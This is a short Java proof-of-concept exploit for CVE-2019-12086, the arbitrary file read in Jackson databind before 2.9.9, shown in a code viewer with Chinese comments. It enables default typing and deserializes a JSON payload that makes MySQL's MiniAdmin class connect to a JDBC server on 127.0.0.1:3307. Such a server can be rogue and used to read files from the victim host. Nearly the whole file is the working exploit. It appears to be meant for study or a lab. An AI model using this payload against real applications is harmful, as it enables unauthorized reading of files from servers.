| 6 | import java.sql.SQLException; |
| 7 | |
| 8 | public class CVE_2019_12086 { |
| 9 | //任意文件读取com.fasterxml.jackson.core <2.9.9 |
| 10 | public static void main(String[] args) throws SQLException, IOException { |
| 11 | ObjectMapper mapper = new ObjectMapper(); |
| 12 | mapper.enableDefaultTyping(); |
| 13 | //开启 enableDefaultTyping ,使用构造方法反序列化的方式反序列化 MiniAdmin 类 |
| 14 | String json = "[\"com.mysql.cj.jdbc.admin.MiniAdmin\", \"jdbc:mysql://127.0.0.1:3307/?user=flag\"]"; |
| 15 | mapper.readValue(json, Object.class); |
| 16 | } |
| 17 | } |
nothing calls this directly
no outgoing calls
no test coverage detected